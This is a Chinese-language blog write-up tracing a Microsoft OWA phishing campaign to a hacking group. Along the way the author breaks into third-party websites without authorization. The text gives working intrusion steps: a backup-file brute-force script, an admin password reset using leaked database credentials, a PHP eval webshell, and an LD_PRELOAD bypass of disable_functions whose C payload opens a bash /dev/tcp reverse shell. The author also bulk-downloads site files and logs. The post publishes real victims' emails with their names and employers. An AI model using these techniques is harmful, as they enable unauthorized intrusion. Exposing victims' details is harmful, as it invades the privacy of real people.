一、前言
近日朋友收到一封来自海外的钓鱼邮件委托我帮忙分析。因此我对钓鱼者身份和攻击路径进行了一次详细的溯源。大致摸清了攻击者组织身份、攻击手法以及动机。本次溯源工作主要是通过提取攻击者控制的肉鸡服务器、网站访问日志、攻击者后门特征等。关联分析这些日志和特征最终得到攻击者的身份信息。本文以流水账的方式详细记录整个溯源过程,包括分析手法和思路,以供安全研究人员参考。
二、信息收集
这是一封冒充 Microsoft Outlook WebApp 密码过期的钓鱼邮件。
2.1 邮件正文
Received: from sysmailout1.platon.sk (unknown [85.248.228.17])by bizmx16.qq.com (NewMx) with SMTP idfor <test@test.cn>; Thu, 29 Nov 2018 06:56:41 +0800X-QQ-SPAM: trueX-QQ-FEAT: jfJxHuYZxOCSeMM7azx75jXNlqmrApsudtGuMpkas54ZAC17UV7M4b/R5+7i0PKMg4QGPsKjsZDM+XUXd0s8kb9W0jCArNfxa3+HTU9vKECwH9fbHyzA2+de0ctDM9+ziJ5w1BJI2Ppc9DVh5DYSq8ySLhcBVRj6sBsJefxrSztWrgzKi58wWFCv7LPgqOAXS+VVMyVipbTfHFacZXmdB00T62nXv8xQociZvHE+8ELBoHVgcA3ZWA7p4no8o1e0Z8ShUvX2P5FwhvXPLZQUg8HNiMhXk5NEtQVC0Y7R9JwKV2VeKybQbg==X-QQ-MAILINFO: Mms3jrkBGwMrz972clMUbgsPqZ0t5EGjrqWV2rMFcEfTT5Y9lunbPCtSM4HaaK+iUBVTvuth5bvdEvVKkuiTcOnkJ0t3khnTYcRGfQmEIZI+ZrNXlT/8QxjWMjOsiHkKyGbgfv5Gx9Qr65abnNzXymg=X-QQ-mid: bizmx16t1543445804ti4ex7suwX-QQ-CSender: www-data@m7web1.platon.skX-QQ-ORGSender: www-data@m7web1.platon.skX-KK-mid:bizmxp6t1543445804t9ne878suReceived: from m7web1.platon.sk (m7web1.platon.sk [85.248.229.150])by sysmailout1.platon.sk (Postfix) with ESMTP id 8EFCC217002Efor <test@test.cn>; Wed, 28 Nov 2018 23:56:38 +0100 (CET)Received: by m7web1.platon.sk (Postfix, from userid 33)id 89364400A3A1; Wed, 28 Nov 2018 23:56:38 +0100 (CET)To: test@test.cnSubject: =?UTF-8?Q?Password_expiry_notice?=Date: Wed, 28 Nov 2018 23:56:38 +0100From: =?UTF-8?Q?Microsoft_Online_Services_Team?= <no-response@365.mirohaviar.sk>Message-ID: <0a9ee06dc11866565f0302302c647c7a@www.mirohaviar.sk>X-Priority: 3MIME-Version: 1.0Content-Transfer-Encoding: quoted-printableContent-Type: text/html; charset="us-ascii"略...<br>The password for the Microsoft 365 account<span style=3D"font-weight: b=old;"> test@test.cn</span> hasexpired.<br>![mir-nc.png-57.1kB][2]<span class=3D"Apple-converted-space"></span><br>To protect your Microsoft =account, your existing password may cease to workshortly.<br><br>You are now required to <span class=3D"Apple-converted-space"></span><a hre=f=3D"http://www.rosturplast.com/shells/logon.secureaccess/?ml=3Dtest@=test.cn"><span style=3D"font-weight: bold;">changeyour password</span></a>immediateIy.<span class=3D"Apple-converted-space"> <br>=2E</span><br><a href=3D"http://www.rosturplast.com/shells/logon.secureaccess/?ml=3Dtest=@test.cn略...
2.2 分析邮件内容
根据邮件内容得到的信息如下
钓鱼网站
www.rosturplast.com137.74.81.5 法国
钓鱼链接:
http://www.rosturplast.com/shells/logon.secureaccess/?ml=test@test.cn
发件地址
no-response@365.mirohaviar.sk
服务商
Platon Technologies, s.r.o 斯洛伐克
SMTP
sysmailout1.platon.sk 85.248.228.17 斯洛伐克
三、渗透钓鱼网站
3.1 漏洞分析
访问钓鱼链接一个克隆OWA修改密码的的虚假页面我们按照正常流程走一遍密码随便输入。不出所料页面提示密码错误这么做可以收集受害者多个密码提高成功率仔细想想这个功能还是很贴心的。
Step 2
注入、跨站之流都是不存在的。
邮件钓鱼攻击与溯源
访问首页这是一家俄罗斯的塑料水管厂商攻击者入侵了这个网站放置了钓鱼页面再通过邮件传播。
端口扫描显示开放了一堆端口防火墙做了策略限制。
[+] HOST: www.rosturplast.com 137.74.81.5 法国
[+] OS: Red Hat 4.8
[+] Web Server: Apache/2.4.6 OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
[+] CMS: Joomla 3.3.3 Joomla!是一套海外流行的建站系统基于PHP+MySQL开发
这是一个低版本的Joomla!,joomscan扫描显示受害网站有一堆漏洞看起来弱不禁风Getshell指日可待。
扫描发现PHPMailer RCE漏洞不过需要邮件发送表单功能才能利用这一堆漏洞里面看起来唯一有机会的是CVE-2016-9838Joomla! Core Remote Privilege Escalation Vulnerability然而经过测试攻击者丧心病狂贴心的把用户注册页面删除了堵住了漏洞导致无法利用。
机智的我此时毫无办法开始挂字典整合Joomla目录盲扫备份文件最后发现目标存在PhpMyAdmin后台和一个报错页面页面显示了网站绝对路径和疑似以日期格式生成的网站备份的文件名。
/var/www/rosturpl/data/www/rosturplast.com/rosturplast.com.2015-11-11.zip
3.2 陷入僵局
尝试下载这个文件http响应404。看了一下同站有多个站点但旁站渗透是个体力活国外这种典型的CloudLinux+cPanel的架构不好提权。到这一步陷入了僵局睡个午觉养养神下午继续研究。
wget http://www.rosturplast.com/rosturplast.com.2015-11-11.zip 错误 404Not Found
3.3 后台提权
不到万不得已不从旁站和C段入手稍加思索根据报错页面的备份文件名格式生成日期文件尝试遍历日期下载碰碰运气。
脚本内容
#!/bin/bashstartdate=`date -d "+0 day $1" +%Y%m%d`enddate=`date -d "+0 day $2" +%Y%m%d`while [[ $startdate -le $enddate ]]dodate=$startdatestartdateother=`date -d "+0 day $date" +%Y-%m-%d`dateother=$startdateotherurl=http://www.rosturplast.com/rosturplast.com.$dateother.zipecho "$url"startdate=`date -d "+1 day $date" +%Y-%m-%d`startdateother=`date -d "+1 day $date" +%Y-%m-%d`wget $urldone
脚本大概跑了一个下午当到达2017-08-07的时候响应200状态码看到rosturplast.com.2017-08-07.zip的文件大小为177M 感觉成了解压后果然是整站备份果然是柳暗花明又一shell。


查看配置文件configuration.php得到数据库连接信息登录PhpMyAdmin后台。低权限无法直接写shell只能修改默认密码登录Joomla!后台。
public $dbtype = 'mysqli';public $host = 'localhost';public $user = 'user***'; //敏感信息打码public $password = 'K********6759'; //敏感信息打码public $db = 'rtp_com3';public $dbprefix = 'ms8ef_';public $live_site = '';public $secret = '5qp******4zU'; //敏感信息打码


备份原始密文以备还原将后台密码修改为 test123456XYZ
http://www.rosturplast.com/administrator/admin / test123456XYZ

登录后台通过模板写入WebShell
Extensions —> Template Manager —> Template —> New Files —> PHP WebSehll

这里写入了PHP一句话WebShell通过Cknifejava版中国菜刀对网站进行控制。
<?php @eval($_POST['cmd']);?>

查看攻击者的钓鱼文件目录user.txt 详细记录了上钩的受害者信息

3.4 日志分析
将网站文件和访问日志下载到本地分析
[/tmp]$ tar zcvf /var/www/rosturpl/data/www/rosturplast.com/log.tar.gz /var/www/rosturpl/data/access-logs/var/www/rosturpl/data/logs/rosturplast*[/tmp]$ tar zcvf /var/www/rosturpl/data/www/rosturplast.com/www.tar.gz --exclude=/var/www/rosturpl/data/www/rosturplast.com/www.tar.gz /var/www/rosturpl/data/www/rosturplast.com/wget -c http://www.rosturplast.com/log.tar.gz && wget -c http://www.rosturplast.com/www.tar.gz⚡ root@kali /tmp gzip -d *.gz⚡ root@kali /tmp ls -lh总用量 22M-rw-r----- 1 48 6313 392K 11月 30 16:19 rosturplast.com.access.log-rw-r----- 1 48 6313 418K 11月 21 08:08 rosturplast.com.access.log-20181121-rw-r----- 1 48 6313 315K 11月 22 08:27 rosturplast.com.access.log-20181122-rw-r----- 1 48 6313 367K 11月 23 08:08 rosturplast.com.access.log-20181123-rw-r----- 1 48 6313 332K 11月 24 08:20 rosturplast.com.access.log-20181124-rw-r----- 1 48 6313 394K 11月 25 08:30 rosturplast.com.access.log-20181125-rw-r----- 1 48 6313 217K 11月 26 08:27 rosturplast.com.access.log-20181126-rw-r----- 1 48 6313 338K 11月 27 08:07 rosturplast.com.access.log-20181127-rw-r----- 1 48 6313 1.8M 11月 28 08:35 rosturplast.com.access.log-20181128-rw-r----- 1 48 6313 2.3M 11月 29 08:38 rosturplast.com.access.log-20181129-rw-r----- 1 48 6313 6.4M 11月 30 08:38 rosturplast.com.access.log-20181130-rw-rw---- 1 48 6313 267K 11月 30 16:00 rosturplast.com.error.log-rw-rw---- 1 48 6313 3.8K 11月 21 03:44 rosturplast.com.error.log-20181121-rw-rw---- 1 48 6313 1.9K 11月 21 14:43 rosturplast.com.error.log-20181122-rw-rw---- 1 48 6313 1.9K 11月 23 02:30 rosturplast.com.error.log-20181123-rw-rw---- 1 48 6313 5.0K 11月 24 01:46 rosturplast.com.error.log-20181124-rw-rw---- 1 48 6313 8.3K 11月 25 02:07 rosturplast.com.error.log-20181125-rw-rw---- 1 48 6313 2.3K 11月 26 05:05 rosturplast.com.error.log-20181126-rw-rw---- 1 48 6313 4.1K 11月 27 05:34 rosturplast.com.error.log-20181127-rw-rw---- 1 48 6313 550K 11月 28 08:35 rosturplast.com.error.log-20181128-rw-rw---- 1 48 6313 6.5M 11月 29 07:51 rosturplast.com.error.log-20181129-rw-rw---- 1 48 6313 1.4M 11月 30 08:38 rosturplast.com.error.log-20181130
用D盾扫网站文件发现这个网站已成跑马场。

攻击者在shells/目录下放置钓鱼文件和PHP后门。 
查看哪些IP访问了后门并统计次数
查询攻击者IP地址
⚡ root@kali /tmp/rosturplast.com/log grep "/shells/" * |grep "php" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r >ip.txt26 174.85.145.9920 50.73.252.16910 213.233.104.1202 207.228.149.692 195.211.23.2072 129.205.113.8
⚡ root@kali /tmp/rosturplast.com/log for line in $(<ip.txt); do curl https://ip.cn/\?ip\=$line ; doneIP: 174.85.145.99 来自: 美国IP: 50.73.252.169 来自: 美国IP: 213.233.104.120 来自: 罗马尼亚IP: 207.228.149.69 来自: 百慕大IP: 195.211.23.207 来自: 俄罗斯IP: 129.205.113.8 来自: 尼日利亚
根据后门文件名匹配Apache访问日志得到攻击者的代理IP和User Agent
⚡ root@kali /tmp grep "/shells" *| grep "php" |grep "POST" |awk -F ":" '{print $2 $6}' |sort |uniq129.205.113.8 - - [30/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"174.85.145.99 - - [27/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"207.228.149.69 - - [28/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"213.233.104.120 - - [27/Nov/2018//www.rosturplast.com/shells//bacu.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv50.73.252.169 - - [29/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
通过日志匹配邮箱并去重得到受害者邮箱地址
egrep '[0-Z_]{1,}@[0-Z]{1,}(\.[0-Z]{1,})+' * | awk -F "\"" '{print $2}' |awk -F "HTTP" '{print $1}' |awk -F "ml="'{print $2}' |sort |uniq
⚡ root@kali /tmp egrep '[0-Z_]{1,}@[0-Z]{1,}(\.[0-Z]{1,})+' * | awk -F "\"" '{print $2}' |awk -F "HTTP" '{print $1}' |awk -F "ml=" '{print $2}' |sort |uniqalexsin54@yahoo.com //攻击者邮箱clavenda.payman@lbdi.net //利比亚发展投行CFOdennis@rayfields.co.za //域名失效georges.raad@nera.net //新加坡IT基础设施提供商员工gthakkar@sscinc.com //美国SS&C Technologies, Inc. 印度分公司jasonchowan223@gmail.com //攻击者邮箱******@******.com //同事jiajie.lim@cimb.com //马来西亚联昌国际银行员工kohchinbeng@bdo.com.sg //新加坡立信会计师事务所员工mayfaithlee@hotmail.com //未知philip@beekoo.hk //深圳市很有蜂格网络科技有限公司CEOPoint72.IR@sscinc.com //美国SS&C Technologies, Inc.shunweicapital@sscinc.com //美国SS&C Technologies, Inc.疑似顺为资本url@email.com //无效
3.5 受害者身份识别
通过搜索引擎对这15个受害者邮箱进行身份识别。
3.5.1 alexsin54@yahoo.com / jasonchowan223@gmail.com


3.5.2 clavenda.payman@lbdi.net
Mrs. Clavenda O. PAYMAN 利比亚发展投行Liberian Bank forDevelopment and nvestment首席财务官

3.5.3 georges.raad@nera.net
疑似新加坡 Nera Telecommunications LtdIT基础设施提供商公司员工
来源http://www.nera.net/about-us.html
3.5.4 gthakkar@sscinc.com
美国SS&C Technologies, Inc. & 印度金融服务公司 Globeop Financial Services Technologies (India) Private Limited
来源https://www.instafinancials.com/company/globeop-financial-services-india-private-limited/U67100MH2003PTC141044

3.5.5 jiajie.lim@cimb.com
马来西亚联昌国际银行员工CIMB Group
来源https://www.cimb.com/en/who-we-are.html
3.5.6 kohchinbeng@bdo.com.sg
KOH CHIN BENG 新加坡立信会计师事务所员工

3.5.7 philip@beekoo.hk
深圳市很有蜂格网络科技有限公司 CEO

四、渗透邮件发送网站
目标mirohaviar.sk 这是一个博客网站
4.1 漏洞扫描
服务器信息如下:
[+] HOST: mirohaviar.sk85.248.229.150 斯洛伐克
[+] OS: Debian 7
[+] Web Server:Apache/2.2.22 PHP/5.2.6-1+lenny16
[+] CMS: Joomla 1.5

CMS漏洞扫描得到图示的漏洞信息经过测试全部无法利用其他端口也没有发现可以利用的的漏洞看来攻击者也是一个勤奋的同学入侵成功后做了相应的修复和加固看起来毫无办法好像只能旁站或者C段渗透了。
然而有人的地方就有江湖有黑客入侵过的网站一定有后门。这类利用通用漏洞批量入侵的黑客团伙后门文件一般都有特征我根据前一个网站获得的php后门文件名列表批量访问当前网站得到了三个相同的后门文件。

⚡ root@kali /tmp/rosturplast.com/webroot/shells md5sum *724e7316427151ea1f449f38a28f642c 406.php3e8a7cf7049e8b9ab8dfca7d3c827c4a aaaaaaf775b99997c166ff45677806d809de an.phpe5c06f1f66781ba5c39d909096c4cd47 a.txtf71ad06982064b125d155b6f601198b8 bacu.phpf2d7553b97d8e0a0258e48c3ca42a7d2 baer.phpc01a0691c484a8d00977a100d8706b50 cfg.phpe5c06f1f66781ba5c39d909096c4cd47 config.phpmd5sum: logon.secureaccess: 是一个目录983ba05973b84e33e76916ca0dabedec new2bug.txt1c014f955a67974dc779100c13162f1a priv8.php2a73dda7ebb3b8d1c0d094b79623e9ff setup.php80b5dadd0a9856f1e6d950843140d24e switch-security.php48f50fb676028e0ae82f3f2db4e26247 unzipper.php51f0bba7ec30b8778dca19ead016a58f webapp365.zip58d1d66c0be0739319156702522b1b52 wso.php
相同文件名如下:
http://www.mirohaviar.sk/config.phphttp://www.mirohaviar.sk/an.phphttp://www.mirohaviar.sk/bacu.php Pro Mailer V2
其中 http://www.mirohaviar.sk/config.php 是攻击者的加密WebShell理论上只需解密获得密码就能登录这个后门。
4.2 解密WebShell
解密过程如下:
awk -F "\"" '{print $2}' config.php//去除头尾多余字符得到base64密文。
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\'//第一次base64解码得到16进制密文
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p//第二次hex解码得到base64密文
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p|base64 -d -i |awk -F "\"" '{print $2}'//第三次base64解码得到base64密文
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p|base64 -d -i |awk -F "\"" '{print $2}' |base64 -d -i |awk -F "\"" '{print $2}'//第四次base64解码得到base64密文
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p|base64 -d -i |awk -F "\"" '{print $2}' |base64 -d -i |awk -F "\"" '{print $2}' |base64 -d -i//第五次base64解码得到明文

得到后门密码hashMD5解密后得到明文: root 饶了个大弯原来是个弱口令下次遇到这类先跑一下密码
$auth_pass = "63a9f0ea7bb98050796b649e85481845";

这个后门有点皮做了UserAgent判断我浏览器默认设置的UA是Googlebot访问显示404这是反搜索引擎爬虫的惯用手段所以我换了个正常浏览器的UA访问得到正常页面。
if(!empty($_SERVER['HTTP_USER_AGENT'])) {$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {header('HTTP/1.0 404 Not Found');exit;}}

4.3 提权
通过webshell得到了具体系统信息下一步尝试提权目的是获得Apache的web访问日志。
4.3.1 突破 disable_functions

测试发现目标限制跨目录open_basedir并禁用了命令执行函数导致WebShell权限下无法跨目录访问也无法执行命令。
disable_functionsescapeshellarg,escapeshellcmd,exec,passthru,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,system,popen,pcntl_execopen_basedir /storage/www/mirohaviar.sk/:/storage/www-include/:/usr/share/php5/:/usr/share/file/:/usr/share/pear/:/tmp/

突破的手段很多这里我利用LD_PRELOAD动态链接来劫持php的mail函数突破disable_functions执行系统命令。
查看sendmail函数在执行过程中动态调用哪些标准库函数。
www-data@m7web1:/tmp$ readelf -Ws /usr/sbin/sendmailSymbol table '.dynsym' contains 420 entries:Num: Value Size Type Bind Vis Ndx Name0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __printf_chk@GLIBC_2.3.4 (2)2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getegid@GLIBC_2.2.5 (3)3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND dane_raw_tlsa@DANE_0_0 (4)4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gnutls_ocsp_resp_print@GNUTLS_3_4 (5)5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gnutls_x509_crt_get_serial@GNUTLS_3_4 (5)6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __errno_location@GLIBC_2.2.5 (3)7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gnutls_db_set_cache_expiration@GNUTLS_3_4 (5)8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sendto@GLIBC_2.2.5 (3)......76: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getuid@GLIBC_2.2.5 (3)77: 0000000000000000 0 FUNC GLOBAL DEFAULT UND send@GLIBC_2.2.5 (3)
从中选取geteuid函数进行测试编写动态链接程序bypass.c
#include<stdlib.h>#include <stdio.h>#include<string.h>void payload() {system("bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/999 0>&1");}int geteuid() {if(getenv("LD_PRELOAD") == NULL) { return 0; }unsetenv("LD_PRELOAD");payload();}
当这个共享库中的geteuid被调用时尝试加载payload()函数执行命令调用system执行一个反弹shell的操作xxx.xxx.xxx.xxx即是我的公网服务器IP
编译
gcc -c -fPIC bypass.c -o bypassgcc -shared bypass.c -o bypass.so
上传
www-data@m7web1:/tmp$ cat b64.txt|base64 -d >bypass.sowww-data@m7web1:/tmp$ file bypass.sofile bypass.sobypass.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV)
执行
bypass.php
<?phpputenv("LD_PRELOAD=/tmp/bypass.so");mail("test@localhost","","","","");?>
浏览器访问http://www.mirohaviar.sk/bypass.php页面后成功执行命令得到了一个www-user权限的反弹shell。

4.3.2 发现行踪
仔细看这是一家斯洛伐克的网络公司这台服务器上面托管了五百多个网站当前的权限可以访问这些网站的文件和数据库令人遗憾的的是apache日志目录/var/log/apache2/无权限访问。

不过我在/tmp目录下面发现了一个有趣的日志文件。
[/tmp/]$cat w--2018-11-26 04:49:06-- http://187.85.134.4/cacat/mm.tgzConnecting to 187.85.134.4:80... connected.HTTP request sent, awaiting response... 200 OKLength: 769309 (751K) [application/x-gzip]Saving to: 'mm.tgz'0K .......... .......... .......... .......... .......... 6% 174K 4s50K .......... .......... .......... .......... .......... 13% 176K 4s100K .......... .......... .......... .......... .......... 19% 14.1M 2s150K .......... .......... .......... .......... .......... 26% 353K 2s200K .......... .......... .......... .......... .......... 33% 353K 2s250K .......... .......... .......... .......... .......... 39% 19.8M 1s300K .......... .......... .......... .......... .......... 46% 355K 1s350K .......... .......... .......... .......... .......... 53% 28.7M 1s400K .......... .......... .......... .......... .......... 59% 23.6M 1s450K .......... .......... .......... .......... .......... 66% 344K 1s500K .......... .......... .......... .......... .......... 73% 18.0M 0s550K .......... .......... .......... .......... .......... 79% 360K 0s600K .......... .......... .......... .......... .......... 86% 20.4M 0s650K .......... .......... .......... .......... .......... 93% 20.2M 0s700K .......... .......... .......... .......... .......... 99% 12.7M 0s750K . 100% 2438G=1.3s2018-11-26 04:49:10 (577 KB/s) - 'mm.tgz' saved [769309/769309]
4.4 追踪
根据泄露日志使用谷歌搜索关键字http://187.85.134.4发现了一个历史页面。


这是一个已经被删除的后门页面刚好被谷歌爬虫收录了进一步搜索一下这个后门参数的关键字
inurl:bc.php?filesrc=得到了多条后门记录。
其中多个WebShell缓存页面内容跟上一个被黑网站的临时目录中发现的日志内容吻合疑似自动化攻击留下的日志WebShell底部署名Muslim Cyber Corp - Mujahidin Cyber Army - Family Attack Cyber 表明后门均为这个黑客组织所有。
进一步搜索这个黑客组织名称发现大量被黑网站程序使用Wordpress与Joomla居多。




4.5 提取日志
我提取了其中几个被入侵网站的访问日志。
4.5.1 网站www.radiolanalhue.cl
打包
tar zcvf /home/radiolanalhue/public_html/www.radiolanalhue.cl.tar.gz--exclude=/home/radiolanalhue/public_html/www.radiolanalhue.cl.tar.gz /home/radiolanalhue/public_html/tar zcvf /home/radiolanalhue/public_html/www.radiolanalhue.cl.log.tar.gz/home/radiolanalhue/logs/radiolanalhue.cl-ssl_log-Nov-2018.gz /home/radiolanalhue/access-logs/ /home/radiolanalhue/access-logs/radiolanalhue.cl
下载
wget -c http://www.radiolanalhue.cl/www.radiolanalhue.cl.tar.gzwget -c http://www.radiolanalhue.cl/www.radiolanalhue.cl.log.tar.gz
分析
根据后门文件名匹配Apache访问日志到攻击者代理IP和User Agent。✘ ⚡ root@kali /tmp/radiolanalhue.cl/log/ grep "/beez5/" radiolanalhue.cl-Dec-2018疑似攻击者代理IP212.1.211.3 美国 - - [30/Nov/2018:13:35:36 -0300] "GET /online/templates/beez5/bc.php HTTP/1.1" 200 16823 "-""Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"谷歌爬虫66.249.66.149 - - [01/Dec/2018:00:53:57 -0300] "GET /online/templates/beez5/bc.php HTTP/1.1" 200 16823 "-""Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"66.249.66.151 - - [01/Dec/2018:06:34:34 -0300] "GET /online/templates/beez5/bc.php?filesrc=/home/radiolanalhue/public_html/online/templates/beez5/favicon.ico&path=/home/radiolanalhue/public_html/online/templates/beez5 HTTP/1.1" 200 2348 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"66.249.66.153 - - [01/Dec/2018:06:51:46 -0300] "GET /online/templates/beez5/bc.php?filesrc=/home/radiolanalhue/public_html/online/templates/beez5/component.php&path=/home/radiolanalhue/public_html/online/templates/beez5 HTTP/1.1" 200 5456 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
4.5.2 网站zebramedia.al
打包
tar zcvf /home/vayqpdvg/zebramedia.al/zebramedia.al-www.tar.gz --exclude=/home/vayqpdvg/zebramedia.al/zebramedia.al-www.tar.gz /home/vayqpdvg/zebramedia.al/tar zcvf /home/vayqpdvg/zebramedia.al/zebramedia.al-log.tar.gz /home/vayqpdvg/logs
下载
wget http://zebramedia.al/zebramedia.al-log.tar.gzwget http://zebramedia.al/zebramedia.al-www.tar.gz-rw-r--r-- 1 1365 1328 478714 11月 30 21:15 evropakrijuese.publik.live-Nov-2018.gz-rw-r--r-- 1 1365 1328 6463 11月 30 21:15 evropakrijuese.publik.live-ssl_log-Nov-2018.gz-rw-r--r-- 1 1365 1328 1855430 6月 30 2018 ftp.publik.live-ftp_log-Jun-2018.gz-rw-r--r-- 1 1365 1328 7899 11月 27 21:12 ftp.publik.live-ftp_log-Nov-2018.gz-rw-r--r-- 1 1365 1328 22883767 11月 30 21:15 ief.publik.live-Nov-2018.gz-rw-r--r-- 1 1365 1328 67526 11月 30 21:15 ief.publik.live-ssl_log-Nov-2018.gz-rw-r--r-- 1 1365 1328 68187 11月 30 21:15 instadyqan.publik.live-Nov-2018.gz-rw-r--r-- 1 1365 1328 34530 11月 30 21:15 instadyqan.publik.live-ssl_log-Nov-2018.gz-rw-r--r-- 1 1365 1328 35748 11月 30 21:15 pigmentnews.publik.live-Nov-2018.gz-rw-r--r-- 1 1365 1328 7709 11月 28 21:15 pigmentnews.publik.live-ssl_log-Nov-2018.gz-rw-r--r-- 1 1365 1328 129055 11月 30 21:15 publik.live-Nov-2018.gz-rw-r--r-- 1 1365 1328 14487 11月 30 21:15 publik.live-ssl_log-Nov-2018.gz-rw-r--r-- 1 1365 1328 88292 11月 30 21:15 zebramedia.publik.live-Nov-2018.gz-rw-r--r-- 1 1365 1328 139759 11月 30 21:15 zebramedia.publik.live-ssl_log-Nov-2018.gz-rw-r--r-- 1 1365 1328 6047261 11月 30 21:15 zeri-popullit.publik.live-Nov-2018.gz-rw-r--r-- 1 1365 1328 52004 11月 30 21:15 zeri-popullit.publik.live-ssl_log-Nov-2018.gz
分析
根据后门文件名匹配Apache访问日志到攻击者代理IP和User Agent。⚡ root@kali /tmp/zebramedia.al/log/home/vayqpdvg/logs grep "INSTALL.sql.txt.php" * |grep "php" | awk -F ":"'{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort |uniq148 197.211.61.82 (尼日利亚)8 178.128.221.199 希腊⚡ root@kali /tmp/zebramedia.al/log/home/vayqpdvg/logs grep "INSTALL.sql.txt.php" * | grep "php" |grep "POST" |awk-F ":" '{print $2 $6}' |sort |uniq178.128.221.199 - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"197.211.61.82 - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
4.5.2 网站helioncomposites.com
打包
日志路径:/home2/helionco/access-logs/helioncomposites.com/日志备份:ls /home2/helionco/logs/ftp.helioncomposites.com-ftp_log-Feb-2018.gzhelioncomposites.com-Dec-2018.gzhelioncomposites.com-Nov-2018.gzhelioncomposites.com-ssl_log-Dec-2018.gzhelioncomposites.com-ssl_log-Nov-2018.gztar zcvf /home2/helionco/www/helioncomposites.com-www.tar.gz --exclude=/home2/helionco/www/helioncomposites.com-www.tar.gz /home2/helionco/www/tar zcvf /home2/helionco/www/helioncomposites.com-log.tar.gz /home2/helionco/logs/ /home2/helionco/access-logs/helioncomposites.com/
下载
wget http://helioncomposites.com/helioncomposites.com-log.tar.gzwget http://helioncomposites.com/helioncomposites.com-www.tar.gz
分析
根据后门文件名匹配Apache访问日志到攻击者代理IP和User Agent。⚡ root@kali /tmp grep ".php" * |grep "/home2/helionco/public_html/" |grep "HTTP\/1.1\" 200" |awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r >ip.txt1137 198.143.51.17588 198.143.38.3478 198.143.41.14246 198.143.32.13131 198.143.32.3103 198.143.57.386 198.143.57.7384 198.143.57.546 198.143.32.1032 198.143.37.15......⚡ root@kali /tmp for line in $(</ip.txt); do curl https://ip.cn/\?ip\=$line ; doneIP: 198.143.51.17 来自: 以色列 IncapsulaIP: 198.143.38.3 来自: 美国 IncapsulaIP: 198.143.41.14 来自: 美国 IncapsulaIP: 198.143.32.13 来自: 美国 IncapsulaIP: 198.143.32.3 来自: 美国 IncapsulaIP: 198.143.57.3 来自: 美国 IncapsulaIP: 198.143.57.73 来自: 美国 IncapsulaIP: 198.143.57.5 来自: 美国 IncapsulaIP: 198.143.32.10 来自: 美国 Incapsula......
这个网站由于日志不全提取出的IP大都是爬虫IP所以不纳入最终的汇总。
4.5.3 发现钓鱼程序
网站 zebramedia.al 上发现多个攻击者放置的钓鱼程序和模板。
针对Dropbox
针对Gmail

4.6 关联分析
使用之前得到的后门文件中的关键字config.php对这3个网站文件进行匹配发现其中2个存在相同后门文件并且文件MD5值相同。
